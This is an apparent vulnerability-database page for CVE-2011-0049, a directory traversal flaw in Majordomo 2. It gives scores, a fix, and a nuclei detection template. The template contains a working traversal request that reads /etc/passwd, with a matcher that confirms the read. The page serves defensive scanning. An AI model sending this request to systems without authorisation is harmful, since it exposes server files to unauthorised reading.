CVE-2011-0049· mj2 / majordomo 2· CWE-22
Majordomo2 - SMTP/HTTP Directory Traversal
mediumseverity
5CVSS score
95.4%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
A directory traversal vulnerability in the _list_file_get function in lib/Majordomo.pm in Majordomo 2 before 20110131 allows remote attackers to read arbitrary files via .. (dot dot) sequences in the help command, as demonstrated using (1) a crafted email and (2) cgi-bin/mj_wwwusr in the web interface.
Impact
This vulnerability can lead to unauthorized access to sensitive files and data on the server.
Fix
Upgrade to the latest version to mitigate this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2011-0049 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2011-0049
info:
name: Majordomo2 - SMTP/HTTP Directory Traversal
author: pikpikcu
severity: medium
description: A directory traversal vulnerability in the _list_file_get function in lib/Majordomo.pm in Majordomo 2 before 20110131 allows remote attackers to read arbitrary files via .. (dot dot) sequences in the help command, as demonstrated using (1) a crafted email and (2) cgi-bin/mj_wwwusr in the web interface.
impact: |
This vulnerability can lead to unauthorized access to sensitive files and data on the server.
remediation: Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://www.exploit-db.com/exploits/16103
- https://nvd.nist.gov/vuln/detail/CVE-2011-0063
- http://www.kb.cert.org/vuls/id/363726
- https://bug628064.bugzilla.mozilla.org/attachment.cgi?id=506481
- http://securityreason.com/securityalert/8061
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5
cve-id: CVE-2011-0049
cwe-id: CWE-22
epss-score: 0.95388
epss-percentile: 0.99868
cpe: cpe:2.3:a:mj2:majordomo_2:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: mj2
product: majordomo_2
tags: cve,cve2011,majordomo2,lfi,edb,mj2,vuln
http:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
condition: and
- type: status
status:
- 200References
- https://www.exploit-db.com/exploits/16103
- https://nvd.nist.gov/vuln/detail/CVE-2011-0063
- http://www.kb.cert.org/vuls/id/363726
- https://bug628064.bugzilla.mozilla.org/attachment.cgi?id=506481
- http://securityreason.com/securityalert/8061
Use this check only on systems you are authorised to test. Where the data comes from